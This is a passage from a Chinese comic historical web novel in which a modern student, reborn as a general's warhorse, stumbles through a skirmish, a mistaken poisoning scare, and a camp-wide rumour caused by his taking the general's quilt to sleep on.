大将军向来说一不二,夏戎等人无法,而且以将军的身手对付一帮追兵不成问题,反而是让来让去才耽误将军脱身,他们迅速上马离开。
马屁股还没跑出视线,追兵到了。
赵阔勒住马,高声大喊:“不用手软,不用活捉,给本王上,就算只是砍伤了霍霁风,本王也重重有赏!!!”
为什么不用活捉,因为能活捉霍霁风的人大约还没出生。
赵阔初到军营时十分自傲,以为自己运筹帷幄、足智多谋,可以将战场上嗜血有瘾、威名赫赫的霍霁风斩于马下,可他亲眼见自己使的围攻计被破了,对方陷入囫囵,却靠着一杆长枪浴血杀出重围。
那不是人,那是一尊杀神!
虽然那日景象历历在目,但这尊杀神是敌人,赵阔就算明知战不过也不能灭了自家士兵的威风:“给我杀,杀啊——”
精锐部队马不停蹄从赵阔身后冲出来,各个都高举着长刀,直指霍霁风。
霍霁风掷出匕首,瞬息之间就割了当先冲上来的士兵的咽喉,士兵落马,他顺势夺过长刀,一刀又取了两名北梁兵的项上人头....
飙射的鲜血溅了赵阔一脸,赵阔瞪着双眼,眼中闪过一丝不易察觉的惊惧。
他北梁精锐随便拉出一个都能抵得上都城里的侍卫统领,可是在霍霁风面前却如此不堪一击。
赵阔带来的士兵足够二十余人,团团围住了霍霁风,此时却只剩下了七八人,霍霁风是越战越勇的类型,手里的刀饮了血就像触发了某种开关,必须要用更多的鲜血来祭刀才能满足,不过追兵只会源源不断,不是恋战的时候。
霍霁风吹起一声长哨。
*
宋铮正沿着原来的足迹慢慢行走,他隐约听到了兵器相撞的打斗声,其间又有一声哨响传来。
不知为何,他心里很笃定,是霍霁风在呼唤他。
这么快偷袭就完成了?
偷袭完得跑路,他不得不撒开蹄子往声音来源跑,得去接应霍霁风。
宋铮急匆匆赶到,还没大喘一口,就有挨了霍霁风一刀的北梁军踉跄退到他跟前,紧接着就倒在了地上,嘴里吐出的鲜血不是电视剧里的血浆,那是实打实的,月光一照更显得凄惨无比。
林子里的打斗惊飞鸟雀,你来我往的刀光剑影中血雾漫天,尸体横七竖八。
此种场面对宋铮来说已经是修罗级别,顿时胃里难受得翻江倒海,胸口发闷喘不上来气。
蹄子一软,他当场就跪了。
刚好这时候霍霁风翻身上马,一上马背没有停留地滚了下来。
全场都愣住了:“?”
赵阔怔了怔,不是说霍霁风的坐骑乌云是百年难得一见的悍勇宝马,怎么变成了软甲虾?
还剩三个北梁军你看看我,我看看你,同样不敢置信。
难道是霍霁风故意授意自己马耍的诡计?
只有这说得通了。
事实上霍霁风是真摔了,一上战场一对敌就杀伐果断、出手狠辣的男人也有片刻懵逼,别说驻守边关以来,就是从军至今,他什么时候在骑马这件事情上栽过跟头?
宋铮发出一声嘶鸣,说的是抱歉。
不容多出神,赵阔大喝:“杀!”
三名北梁兵齐齐挥刀,其中一名士兵的刀对准了宋铮,霍霁风及时出手,“当”的一声,用手里长刀挡了对方的,保住了宋铮。
宋铮心惊肉跳,就算腿再软,气息再弱也得强撑着站起来。
白刀子进红刀子出,霍霁风又斩杀了一名北梁兵。他重新上马,这时一名士兵砍向了宋铮马蹄,宋铮视野好,极度惊恐中,身体本能做出反应,不等刀子落下,一甩屁股一尥蹶子把对方给踹翻了。
霍霁风一夹马腹:“恰!”
宋铮急忙冲出去。
剩下两名士兵还要追,赵阔抬手道:“不必追了,谁不知道霍霁风的乌云是能追风逐电的神驹,你们如何能追得上。”
看着损失的精锐士兵,赵阔恨得牙痒痒。
然而实际情况是这样的,刚出了赵阔的视线范围,宋铮就不行了,一瞬间爆发出的求生毅力枯竭,500多斤的身体往前栽去,霍霁风跟着就地一滚,倒没有之前那么猝不及防。
宋铮重重地倒在地上。
“乌云!!”霍霁风心惊,顺势抱住了马儿脖子。
宋铮四蹄腾空,嘴里呼哧呼哧,脑袋倒在霍霁风怀里,乌亮的眼睛里倒映着对方焦急的样子。
“难道是军中有人给你下毒?!”
时不时会躺下,无缘无故走失、体力不如从前,身上却没有任何伤口,霍霁风就是个傻子也知道自己的马儿出了问题,刚毅的面容黑沉黑沉,心头怒火燎原。
既然是中毒,肯定是潜入军营中的奸细所为,早前没有及时发现,此刻毒发,必然是毒素已经进入了心脏,回天乏术了。
“好乌云,你放心,待我回军营,一定揪出下毒之人为你报仇,我霍霁风说到做到!”
霍霁风面寒如霜,一字一字从齿缝中碾出来。
宋铮默了会儿,发出虚弱的声音,虽然霍霁风听不懂。
“不好意思,我不是中毒,我是惊吓过度加体力骤然消耗,我得躺一会儿才能起来。”
“好好走吧。”霍霁风抚摸着鬃毛。
“......”
正当宋铮以为霍霁风会丢下“临死的马”时,却见他只是盘起腿,依旧让他枕着,一下一下抚摸着
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,这是要陪着他等待他的“死亡”。
宋铮沉默下来。
时间慢慢过去。
一盏茶....
一炷香......
霍霁风看着爱马慢慢闭上了眼睛,安静陪着他走过最后一程。
但这一程有点漫长,半个时辰都过去了,马儿还有呼吸,且呼吸非常均匀。
好像不是中毒。
霍霁风探着鼻息,乌云的呼吸均匀绵长,这是......睡着了??
有那么一刻,霍霁风小脑萎缩。
眼下究竟是个什么情况?!!
若是没有中毒,还有一线生机,霍霁风自然就要把他的马带回军营去医治,但是马儿的分量重,他得找板车托运,或者此刻就回军营把老秦带过来就地医治。
正当他马上要做出决定时,他的马睁开眼了。
宋铮这一觉睡得挺踏实,鸣叫了两声后昂起脑袋用力站了起来。
呼。
夜风打着旋儿刮过。
眉头拧成死结的霍霁风:“..........”
脑子不够用了。
“走吧,”宋铮凑到霍霁风身边,叼住对方的袖子扯了扯,示意继续赶路。
一个安逸了二十年生活在和平现代的大学生突然来到诸国纷争不断的古代,实在是没法用一天时间就融入这样的生活,可谁叫这位将军现在是他的主人,不跟着对方他也无处可去。
这马,霍霁风是不敢骑了。
他凝神静听,确定没有追兵,便牵起绳子继续往军营方向走。
走了几步,身边的马儿停下了。
宋铮低下头,呼吸的声音一会儿粗重,一会儿气若游丝,看起来非常吃力。
霍霁风心头顿时一痛,原来刚才是回光返照。
人会回光返照,在临死之际突然精神好转,面色红润,甚至能与旁人进行逻辑清晰的对话,原来马也是一样,但这通常持续不了多少时间,少则片刻,多则一两个时辰。
霍霁风长长叹息,顺着马的鬃毛安抚:“好乌云,我知你此刻定是忍着剧痛,若是不想继续受罪,我来送你,可好?”
惊!!!!
这是想亲手结果了他???
他还不想死!
宋铮猛吸一口气,赶紧往前走。
霍霁风从宋铮乌黑的眼睛里看到了慌乱,刚才的决定也就顷刻打消了。
不论是自己的坐骑,还是边关其他将士乃至士兵的马匹,他都视作是共同御敌的战友,既然战友不愿意,还想陪着他走一段,他当然不会不答应,真要亲手把自己的马送走,他亦心痛。
走了一阵,马儿又停下了。
霍霁风还是像刚才一样,说着话安慰他。
接着,马儿又开始走了。
走了会儿,又停了。
停了会儿,又走了。
反复如此。
霍霁风:“............”
直至天际泛起鱼肚白,一人一马终于靠着两条腿和四只蹄子,磨磨唧唧走到了军营。
霍霁风看着马儿,向来锋利坚毅的眼神中,出现了前所未有的迷茫。
6. 第 6 章
6
夏戎等人虽然上了马离开,但是在半路都决定调头,打算绕行从侧面出其不意偷袭北梁的追兵,但回来时,只见追兵的尸首,不见将军其人。
而那会儿宋铮只管冲出去,根本分不清方向,走的是他们从来没走过的路。
林子茂密,乌云又遮了圆月,天黑得伸手不见五指,夏戎三人没有寻到踪迹,也是到了天亮才回军营。
见将军回来,夏戎松口气:“幸好将军平安,否则属下难辞其咎。”
霍霁风不以为意:“哪有事事都能料得那么准的,有意外也在常理之中。”
“将军没事就好,”陆十九抱着自己的佩剑,面无表情打量着宋铮,“只是乌云究竟跑哪儿去了?”
这个问题,霍霁风回答不上来。
夏戎:“对了将军,为什么你们到天亮才回来?”
这能答,霍霁风道:“是乌云走得慢。”
夏戎追问:“它什么会走得慢?它可是能日行百里都不成问题的乌云啊!”
霍霁风的鹰眸盯视着夏戎,夏戎被盯得头皮发麻,明白了,将军也不知道,将军也很懵。
“快去请秦老,速去马厩,”霍霁风吩咐。
“是!”夏戎嗖得没了影。
霍霁风将宋铮牵回马厩,阿冬是乌云的专职马夫,即便是将军出征打战,他也是要跟随左右尽心尽力照顾将军坐骑的,他前脚到,后脚老秦也被夏戎拉来了。
“哎呀,慢点儿慢点儿!”老秦一步三跌地被夏戎揪着,吹胡子瞪眼,“我的老骨头要被你拽散架了不可。”
“不是我着急,是将军着急,乌云出了大问题,将军的脸色老难看了。”
老秦要给霍霁风行礼,霍霁风一抬手:“不必,抓紧给它诊治,看看是哪里出了问题。”
今儿一大早阿冬就来看宋铮,发现不见后大急,飞奔向中军帐要向将军告罪,是高崇山告诉他,乌云昨晚跟着将军出军营了,于是他把心放回肚子里,提着水桶高高兴兴把宋铮住的马厩单间打扫了一遍,洗刷得干干净净,地面铺的干草也全部重新换过。
宋铮还算满意,尽管比不上现代的楼房,但在军营马厩里属于别墅级别了。
所以,一进马厩他又趴下了。
主打一个能躺着就不站着。
这让霍霁风更加肯定,乌云就算不是中毒,也是被下了药。
秦老卷起袖子,阿冬做帮手,两人按照常规的流程,先检查马匹是否有外伤,是否骨头出了问题,可是和上一次一样,他们没有查找到任何外伤,按压骨头也不会引起马儿嘶鸣。
从体温、眼睑、鼻腔处观察,秦老也没发现有什么问题,可听马儿的呼吸,确实比往常弱一些。
老秦走到马槽边。
阿冬说:“将军来之前,小的刚打扫完,马槽里的草料还是昨日的,没来得及更换。”
老秦点点头,拿起一把草料在鼻子前闻了闻,又抓取马槽里面剩余的黄豆,放在鼻子底下嗅着,而后摇了摇头。
霍霁风面若寒霜:“草料可有问题?”
秦老:“回将军,没有问题。”
阿冬默默抿了抿嘴巴。
秦老又看向了饮水槽,伸手进饮水槽里拘起一捧水,送到嘴边尝了尝。
“.........”宋铮默默看着,心里有点愧疚。
不得不夸一声敬业。
这一检查就是一个时辰,相当于现代两个小时,而秦老诊察了多久,霍霁风就在马厩里待了多久,最后结果是没有异样,从饮食到体表查看不出问题,因此秦老猜测,症结应该出在马儿的肠胃上。
若战马进食过多或者消化不良,便会导致腹胀不适,影响精神状态,出现萎靡不振,对外界刺激敏感,从而表现出畏缩、胆小。
只是今早阿冬把马粪全部清理了,肠胃情况无从查辨,还得观察几日再定论。
“将军且放心,这两日老夫会仔细观察乌云的状况,一定悉心照料它,”秦老不敢打包票能治好,但以他从兽医几十载的经验来看,暂且是无性命之忧。
霍霁风一点头:“既然不是中毒,也不是被下了药,那便好好调养吧。”
秦老一拱手:“是。”
还没离开马厩,陆十九快步走来,在霍霁风身旁耳语了两句,霍霁风面色一沉,快步出了马厩。
在马厩里盯着一匹马,不如去校场操练,夏戎也丢下一句“好好照顾”就跑了。
宋铮看着那道肩宽窄腰大长腿的身影,忽然想起来一件事,昨晚上霍霁风可是承诺过他,回军营就奖励他好吃的。
这就走了?
吃的呢??
呢???
他分分钟起立,对着那道背影嘶鸣:“咴儿咴儿——”
“咴儿——”
“咴儿咴儿——”
灵魂板起脸,身体蹬了两下蹄子,原地转了个圈儿,从鼻子里发出短促的喷气声:“哼哧~哼哧~”
而后又嘶鸣:“咴儿咴儿——”
但霍霁风已经不见了,只能望见来回巡逻的士兵们。
“秦老,它怎么突然又躁动了?”阿冬问秦老,同时安抚着宋铮。
秦老也一时无解。
回到营帐,陆十九从怀里拿出一封信与一只白色小瓷瓶交给霍霁风:“宁王的人刚送来。”
霍霁风在案几后坐下,拆了手中的信,读完内容便将信件给烧了,冷声说道:“三个月后是皇上寿辰,届时宫廷大摆宴席,普天同贺,宁王想借着这个机会,请旨让本将军班师回朝。”
陆十九皱眉:“宁王等不及了?”
“是等不及了,”霍霁风眯起狭长的眸子,“他是打着让本将军班师回朝的幌子,借机要我带兵包围皇城。”
“可皇上寿诞不止是百官要进宫贺寿,还有藩国使臣也会来,他就不怕挑起大澜与诸国之间的矛盾?”陆十九道。
烧了信,霍霁风打开了那只白瓷瓶子,仰头将里面的一颗药丸倒入嘴里。
陆十九眼睁睁看着,默默咬紧了牙,握紧的拳头上暴起青筋。
霍霁风将瓶子一丢道:“上个月,宁王在府中中毒险些翘了辫子,看来是怕夜长梦多了,再不出手,皇位轮八百年也轮不上他。”
虽然霍霁风人不在都城,却对都城的形式了如
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指掌。
承元六十二年,先皇病入膏肓,眼看着没几天好活了,那时三位封王的皇子,宁王、靖安王、宸王之间的皇位之争尤其激烈,朝臣们也拉帮结派,各自站队所拥护的王爷,后来宁王与靖安王联合将宸王拉下马,事后靖安王反手将了宁王一军,夺得了皇位继承权。
皇城夺位的血雨腥风平息后,宁王甘愿对靖安王俯首称臣,不久就染了重病终年卧床不起,于是一直留在都城内。
而宁王染重病是假,暗中卷土重来是真。
陆十九眉心紧颦:“将军接下来打算怎么做?”
霍霁风:“去请高先生过来。”
....
宋铮在马厩里气呼呼,打了好几个响鼻,阿冬陪着他说了好一会儿话才把他安抚好。
马槽里的干草料过了一夜,沾了清晨的露水蔫啦吧唧的,阿冬赶紧换了。
秦老估摸估摸着是马儿的肠胃不适,那吃食上就要更加讲究,于是阿冬专门挑得最新鲜的苜蓿草喂食。
哎,宋铮又是一叹气。
天无绝人之路,但绝起来是真没路。
他已经饿得马背贴肚皮,再不适应吃草也得吃了。
不过宋铮很挑食,嘴巴扒拉着苜蓿草,尽管这些是阿冬精挑细选的草料,还是被他扒走了许多杆子,只吃最嫩的叶子,阿冬把他的行为默默记在心里。
嗯,乌云挑食了。
回头得一五一十禀告将军。
“这两日就先停了谷物,”秦老在一旁慢慢交代,“给它做些麸皮粥,记得多添些水,一定要熬得浓稠,可以帮它排出积滞。”
“小的记下了。”阿冬点头,马上跑去厨房吩咐人做。
约摸过了半个时辰,阿冬捧着一个大大的汤盆回来了,做了满满的大一盆麸皮粥。
麸皮是小麦的外皮,即使煮成粥,也没法像大米粥那样顺滑粘稠,所以吃起来会有一种粗糙略带沙沙的颗粒感,不过这是对人而言,马儿连干草料都能咀嚼,还怕这点粗糙吗?
闻起来味道清淡,麦香明显,宋铮肚子都咕咕叫了,尾巴甩动了两下,食欲很高。
阿冬把大盆子架在马槽上,方便马儿低头食用。
宋铮十分文雅地慢慢吃着。
作为人的宋铮,常年体弱多病,脸颊有着病态的苍白,人也清瘦,因此举手投足总有弱不禁风的娇气感,但绝不是女气,而且他好看,不论是看书还是写字,总吸引着周围人的目光。
此时,好多战马都盯着他们的头马看。
心里只有一个想法。
老大可真斯文啊......
看着看着它们就叽叽喳喳讨论起来,一匹匹都嘴馋得不得了。
“老大,麸皮粥好吃吗?”
“我闻着可太香了!”
“老大真是饿了。”
“是啊,吃得头也不抬。”
“我也好想吃,不过让老大吃好喝好是应该的,老大是大将军的马,说不定今天吃好明天就上路了。”
“是啊是啊。”
“............”宋铮没有食欲了,“你们可真会聊天。”
7. 第 7 章
7
听着战马们聊天,宋铮也加入进去,问了关于霍霁风的事。
提到霍霁风,没有一匹马不夸这位将军厉害,总之,死在霍霁风手里的敌军不计其数,在他胯/下跑死或战死的马匹也有上百了。
换言之,他宋铮离死不远了。
为什么?
上辈子造孽了吗??
宋铮吃完了麸皮粥,阿冬把大盆子收拾了,又添加了些草料才走。
异国他乡,星夜漫漫,宋铮哪里睡得着啊,他是怎么躺都不舒服。
马的皮肤比人类的皮肤厚得多,全身覆盖浓密的毛发,可以有效隔绝干草的茎秆,几乎感觉不到任何刺痛或扎痒,可宋铮就是觉得干草扎得他难受,属于是古代版的豌豆马了。
他甩甩鬃毛,两只前蹄一撑挺起胸膛,紧接着用后蹄站立。
飞奔驰聘他还不习惯,但躺下站起来的动作在短短一天时间内已练得炉火纯青。
他又想出去了。
宋铮观察了下,厩门是典型的半截式,分上下两部分,分别都有开关,如果只关下半部分,那么既可以防止马儿出走,也能更好的让马探出头来活动。
宋铮的马厩没关上半部分的门,下半部分的外面由木闩固定。
他扬起铁蹄在门板上刨了几下,木闩有所松动,但没有掉下来的迹象。
很好。
有松动就有打开的希望。
宋铮是个很有耐心的人,性格不急不躁,头脑冷静,发生任何事情都是先做一番思考再付诸行动。
他低头用脑袋蹭了下门板,马厩的门板并不算多结实,打造得也很粗糙,四周顾固定不稳当,只要蹭一下,或者用蹄子刨一下,门板就会发出声响。
如果用暴力把门踹了不是做不到,但不是他的风格。
宋铮研究了会儿,继续用蹄子一次一次触碰门板。
他不是胡乱踢,而是有固定位置,始终对准门板的一侧边缘,边缘处每震动一下,木闩就跟着往相反方向轻轻颤一颤。
一直坚持到天色漆黑漆黑,军营里只剩下巡逻兵的脚步声时,他终于成功了!
皇天不负有心马!
漂亮顺滑的马尾高高地甩了一下。
正准备出去,有人来了。
宋铮倒腾得太专注,忘了马厩里还有值夜班,每隔一段时间就要给战马添加草料的马夫。
马夫刚过来就见宋铮马厩的木闩掉了,立时从慢慢走路变成了小跑,赶紧捡起木闩:“真是来得早不如来得巧,不然将军的马出了事我就是有一百个脑袋也不够掉的。”
装好木闩抬头,对上了马儿沉默的视线。
那双眼睛黑亮黑亮,泛着幽幽的冷光。
头皮有点发麻的马夫:“...........”
他转身走开,又忍不住回头看了眼,将军的乌云一动不动,不晃脑袋,不甩尾巴,依旧冷冷地盯视他。
啊这......马夫咽了口唾沫。
走三步,再回头。
还是如此。
“...........”
马夫去给其他马儿装草料,不论是他从东走到西,还是从西走到东,将军的马一直跟随着他移动视线,也不知道为什么,他竟然被一匹马盯得冷汗涔涔。
突然,马夫灵光一闪,恍然大悟,回到宋铮面前替他取下了木闩,不大确定地问:“你是不是想出去溜达?”
“你总算明白了,谢谢。”
宋铮抬起一只前蹄,推开木门,迈着斯文的步伐走了出去。
门口的两名守卫看见他,也没阻拦,只是疑惑将军的马怎么又要溜达了。
宋铮在军营里溜溜达达走着,偶尔低头嗅嗅,或者是站在鹿砦边打盹儿,等打完盹儿醒来,又开始闲逛。
走着走着就来到了军营里晒衣物被褥的地方。
宋铮爱看书,看的书又杂又多,知晓大多数军营里面没有专职洗衣服的士兵,像洗衣、缝补是士兵个人的基本生活技能,他们会在驻扎、休整或行军至河边湖畔时清洗自己的衣物,也会有少数的士兵家属随营,帮忙做些清洗的杂事。
白天的时候,宋铮就看到过几位妇人抱着木盆在军营里穿行而过。
他抬头望望天。
丝毫没有要下雨的迹象,空气里也很干燥。
怪不得大晚上的连衣服都不收。
这块属于后勤做杂事的区域不仅晾着士兵们的衣物,还晾着一张大大的被子。
宋铮绕着被子转了一圈,又凑近被子嗅了嗅,上面有一点点物品储藏久了之后的怪味,但更多的是经过白天暴晒之后的阳光的味道,还有霍霁风的气息。
总体来说不难闻。
天气不冷,没到盖棉被的气候,大约是放久了才拿出来晒晒。
宋铮叼住被子一角,将它慢慢从木头杆子上拖下来,在被子即将掉入地面前,他转过身体让被子掉在自己背上。
随后背着这张被子回了马厩。
宋将把被子铺在干草上,有了柔软的被子当铺垫,再躺下就比先前舒服多了。
他揣起蹄子,搁下脑袋进入沉睡状态。
由于他被认定为是有问题的马匹,阿冬晚上哪里敢睡死,没多久就跑过来查探马儿的状况,他黑灯瞎火地望了眼,虽然看得不是很清楚,但听马儿呼吸均匀没有异常就放心了。
阿冬打着哈欠走了。
三更时分,宋铮起来过一次,挑着苜蓿草的嫩叶吃了些后再次睡觉。
....
时间慢慢过去,天际泛起一丝微光,黑夜的暮色还没完全退去,经营里就开始乱糟糟的。
起因是一名老兵的媳妇儿,也就是军营里的随军妇天不亮就起来帮着伙夫准备士兵们的早饭,之后又把自家丈夫的衣服洗了,正要晾晒的时候发现了少了一张被子。
这张被子可是大将军身边负责生活日常的亲兵拿过来的,说是整理的时候发现放被褥的箱子蛀虫了,也顺便把被子拿出来晒几天。
怎么昨天才挂上,今天就不见了呢?
“哎呀!哎呀——”春娘拍着大腿,急得不得了。
军营里做饭的木楼就在不远处,好几个伙夫都出来看情况。
“春娘,你这是怎么了?”伙夫手里还握着长柄勺子呢,见她大喊同样跟着着急忙慌,“丢了什么了?”
春娘:“丢了被子!被子!大将军的被子呀!”
军营里还有其他随军妇,听见声音都急匆匆赶过来,于是厨房的伙夫、随军的妇人们、做杂物的后勤兵,顶着还昏暗的清晨到处找将军的被子。
某个营帐的帘子掀开,春娘冲进去:“老张!老张你快醒醒!”
睡在老张
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身边的士兵先醒了,一见有女人冲进来,赶紧捂住自己,一脚蹬醒了叫老张的男人:“张哥,你快管管你媳妇儿,男人睡觉的地方怎么能随便闯进来,成何体统。”
“我还在乎什么体统不体统,不被将军赶出去就谢天谢地了,”春娘是个大嗓门,哭嚎着把大伙儿都给嚎醒了。
当然也到了晨起操练的时候,老张忙坐起问:“发生什么了?”
春娘哭着把事儿说了。
霍霁风所带的军营里,军规一向严厉,赏罚分明,但不是原则性问题如当逃兵、叛国等,只是不慎损毁件点物件的事不会与底下的士兵计较,除住处外吃穿也与普通士兵们一致,奈何大将军严肃啊,眼神锐利、杀人不眨眼,叫她们这些妇人看一眼都胆寒。
媳妇儿哭花了脸,颤抖着身体,可老张心疼坏了,一边穿着衣服一把所有弟兄们都踹醒。
“快快快,都起来,都帮忙找找将军的被子去,看看是哪个龟孙子干的,连将军的被子也敢偷!”
士兵们训练有素,顷刻就穿戴完了。
随后陆陆续续的营帐里都传出起床的动静,将军的被子丢了一事也火速传开。
一传十,十传百,从村头传到村尾.....
“诶,你听说了吗,大将军他.....”
“啊?真的假的?”
“千真万确,大家都知道了!”
....
夏戎从营帐里出来,刚伸了个懒腰就听见给大将军送早餐的亲兵与其他士兵嘀嘀咕咕。
“诶,你们两个,”夏戎叫住他们,上前问, “你们俩说什么呢?”
“夏将军还不知道吧,大将军他.......” 亲兵眼里有着熊熊烈火般的八卦之光,知无不言言无不尽。
夏戎听完呆了:“还有这种事?”
亲兵:“当然,纸包不住火,全军营的人都知道了。”
“行了,你们别再传了,早饭给我吧,我给大将军去送,”夏戎接过亲兵手里的盘子,快步朝中军帐去。
而霍霁风起得比任何人都早,寅时,也就是早上三四点的时候就亲自巡视了一遍军营,此时正立在沙盘前,思索着下一步如何大败北梁军。
“将军,”夏戎进来了,“我给您送早饭来了,您快趁热吃吧。”
“放着吧,”霍霁风说。
夏戎欲言又止。
等霍霁风吃过了早饭,外头士兵擂鼓升帐,到了每日议事的时间了。
各营副将、参军、校尉等高级军官以及高崇山都到齐了,每个人都从彼此眼中看到了八卦,议事期间,霍霁风也敏锐地察觉到这帮人肚子里有事。
凶悍的眼神一一扫过在场的人员。
问。
“营中出了何事?”
大伙儿面面相觑,高崇山示意王参军说,王参军搡了搡校尉,校尉踢了下陆十九,陆十九撒谎不打草稿:“将军,属下今日嗓子有疾,说不了话,还是让夏副将说吧。”
夏戎汗颜,不过他是最虎的,就直言了:“将军,军营里现在人人都在传,您偷人了,偷的还是皇上的妃子。”
嗓子有疾的陆十九:“连夜偷的。”
众人点头。
霍霁风:“.........”
“放他爹的狗屁!”霍霁风震怒,“本将军连女人的手都没有摸过!”
8. 第 8 章
第8章
活了27年,霍霁风从来没有遭受过这样的黄谣,一世英名毁于一旦,气得额角青筋直跳,怒喝:“去把造谣的人全部给我带过来,老子要看看是哪些混账东西!是不是活腻了!”
嗖!
夏戎冲出营帐,抢在吃瓜第一线,立马派人去传话。
这造谣的罪过可不小,那造的是将军和皇宫里的妃子,是欺君之罪。
可是山高皇帝远的,皇宫那位哪里管得到军营里的闲话,再者他们实在是好奇,将军如此杀伐果断,砍人头如砍瓜切菜,说话做事更是冷眉肃目,所以究竟什么样的女子能不怕将军,与将军情投意合?
这才是重点,是不是妃子不重要。
乱糟糟的军营里排起了长龙,传过话的人从中军帐一直排到军营大门口,还排不下。
真是全军营都知道了。
霍霁风的脸黑得一塌糊涂。
“咳,”高崇山出面,看着长长的队伍,他替将军严肃教训,“军营重地,何时成了嚼舌根的地方,所谓众口铄金,就是假的也被你们说成真的了,和皇宫妃子有染,这是欺君!是大罪!莫不是你们要置大将军于死地!你们是北凉派来的奸细吗!”
士兵们纷纷低头,羞愧。
大将军不止驻守过定朔关,也在大澜的其他边城待过。是他在十万敌军面前取其上将首级如入无人之境,是他带领着将士们抵御外敌入侵,没有让敌人的铁蹄踏入边关一分一毫,是他用真刀真枪护佑着百姓免遭战乱之苦。
他们对大将军只有敬重和爱戴。
所有将士们单膝跪地,抱拳朗声:“我等传谣,犯下大错,甘愿受军法处置!”
“请将军治罪!”
“请将军治罪!”
整齐划一喊声响彻军营。
垫着被子睡懒觉的宋铮被吵醒了,抬起头,竖起的耳朵在空气里抖了抖,凝神听了会儿。
士兵们的喊话听清了,就是不知道是哪个倒霉蛋犯了错,还引起了众怒,集体都要请将军给人治罪。他不了解霍霁风在军营如何行事,但看性格就是个眼里容不得沙子的。
这个倒霉蛋惨咯。
而后脑袋换了个面,继续挨着被子睡。
....
被造谣的当事人喝停众人,这件事不是把所有人都罚了就能止住谣言的,打蛇打七寸,擒贼先擒王,首要的就是把传谣的罪魁祸首揪出来!
“都是从哪里听的谣言,给我一一汇报上来,本将军有的是时间!”霍霁风面目森森。
士兵们争先恐后,纷纷要向霍霁风汇报,这时人群中陡然有一声粗犷的怒吼打断了他们:“都抢什么抢!让本先锋先来!”
熊壮熊壮的魏常从人群中走出来,大体格子一杵,道:“将军,属下先说。”
魏常与夏戎等人皆是霍霁风亲信。
连亲信都传谣,夏戎几人替他汗颜,没看出来老魏这么憨厚的外表下藏着的一颗如此八卦的心啊。
霍霁风冷哼:“说!”
魏常顺手拎出负责管理粮草、衣物、军械采购的司务长:“属下都是听这孙子说的,说得还有鼻子有眼的,老子当场给了他一拳。”
司务长确实挨揍了,左眼乌青乌青,再挨一拳就是国宝了,他朝魏常呸了声:“你小子揍完不还问我后续来着,这事儿你怎么不说!”
魏常再次扬起拳头。
“住手,”霍霁风喝止。
司务长恭恭敬敬回禀:“将军,属下也是道听途说。”
他指向一名百夫长。
百夫长忙道:“将军,属下也没传将军您偷皇宫里的妃子啊,只是说您偷了人了,还是底下的什长传过来的原话。”
百夫长指着什长,什长又指向伍长。
伍长立即告罪,但他怼天发誓:“将军,小人绝没有说过您偷人,小的说的是,您偷了被子。”
“?”霍霁风只觉莫名其妙,“老子活不起了?要偷被子??”
“噗,”夏戎笑出声,又立即憋回去。
陆十九抽了抽嘴角,继续保持面无表情,不苟言笑。
伍长挠挠头,大将军为什么要偷军营的被子,他也闹不明白啊,他把手底下的五名小兵都提溜出来,小兵们指认谣言罪魁祸首是另一明伍长老张。
老张立即带了媳妇儿春娘过来。
春娘很茫然:“民妇万万不敢污蔑将军偷盗,是民妇今早发现将军的被子丢了。”
至此,事情真相大白,水落石出。
源头就是那一张丢了的被子。
被子去哪儿了?
谁偷的?
霍霁风当即下令搜查,势要把偷盗之人给找出来,在军营小偷小摸得处于棍责,按照偷盗物品的价值来分挨多少军棍,但是今日的事已在军营造成极大的不良影响,除了棍责,他还要将这祸害吊起来,晒他个一天一夜以儆效尤。
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否则他就不姓霍!
一顿搜查之后.....
士兵来报,偷盗者在马厩。
一群军官士兵浩浩荡荡前往马厩,轮值的马厩守卫见到大将军来势汹汹,紧急单膝跪地,颔首行礼:“见过将军!”说话时大气都不敢喘。
宋铮还趴在地上,只是刚睡醒伸起脖子。
突然就有一大群人冲进来,集体围在了他的私人单间前。
宋铮:“?”
士兵一五一十汇报:“昨晚就是乌云偷了将军您的被子,小的问过守卫,也询问了昨晚询营的兄弟,好几个人都看见了。”
宋铮愣了几秒后反应过来,大约是被子引出了更加严重的问题,所以这些人都来了。
原来倒霉蛋是自己啊?!
霍霁风立在马厩前,搞半天是他的马闹出的乌龙,这是发脾气也不是,不发脾气也不是。
“夏将军,发生何事了?”阿冬一早刷洗马鞍去了,刚回来,干瘦身板从一群大老爷们里挤上前,小声问夏戎。
夏戎言简意赅说:“乌云偷被子,被将军逮着了。”
阿冬点点头,看着霍霁风打开木闩走了进去,半蹲在马儿面前,可将军还没说话呢,乌云就慢慢扭开脸,虽然是趴着,却有种清冷公子浑然天成的气质。
霍霁风也感受到了。
自己还没凶他呢,他就奇异地感受到乌云先给了他一个冷脸。
“........”
“擅自拿你被子是我不对,要罚就罚,随你怎么处置,”宋铮也是有那么点傲气的。
尽管,霍霁风听不懂。
霍霁风对宋铮从头观察到脚,发现被子没有随意乱堆,是以平整的状态铺在干草上面,显然乌云不喜欢睡干草,更喜欢睡他的被子。这倒不像马,像是个人了。
他表情怪异地皱拢眉头,又挠挠眉梢,嘴里啧了声。
而后做出决定,起身对马厩里众将士们一挥手:“都散了吧。”
大伙儿你看看我,我看看你。
有人斗胆疑问:“将军,是乌云干的好事,您就不罚了?”
“马干的,我怎么罚?我把它吊起来抽鞭子?”霍霁风怒怼回去,又道,“偷被子是小,造谣是大,本将军今日亲自操练你们!”
人不如马的众人:“............”
众目睽睽、朗朗乾坤、光天化日之下....好一个双标啊!
9. 第 9 章
9
一群人浩浩荡荡来,浩浩荡荡走。
阿冬看看马厩里的棉被,再看看将军的背影,乌云出门惹祸,是他这个做专属马夫的失职,但眼下这条被子如何处理?
他赶忙追上去请示,霍霁风回望了眼马厩:“就留给它吧。”
“啊??”阿冬诧异地张大嘴巴。
边关的生活条件远远比不上都城,物资说不上短缺,但也十分紧俏,因此军营里的被褥都是每人一份,连将军也不例外。
现在将军把自己的棉被给了乌云,到了冬天岂不是要睡冷板床?
“可是....”
“不用可是,”霍霁风一挥手就走了。
再严苛的事他都经历过,不过是冬天少了被褥,不足挂齿。
宋铮仰起脖子,多看了霍霁风一眼。
还行,不虐待动物,人品不坏。
阿冬回到马厩,开始了喋喋不休的一天。
“我老家曾是平武县的,我阿爹、阿爷都是养马贩马的商人,这马啊可分好多品种,阿爹和阿爷用了一辈才培育出了一匹万中无一的好马,和乌云你一样,说它是神驹都不为过。”
“有多神?”古代无聊,听听故事也好,宋铮站起来,往马槽里探头,鼻子拱着草料。
“怎么神我就不说了。”
“.......”
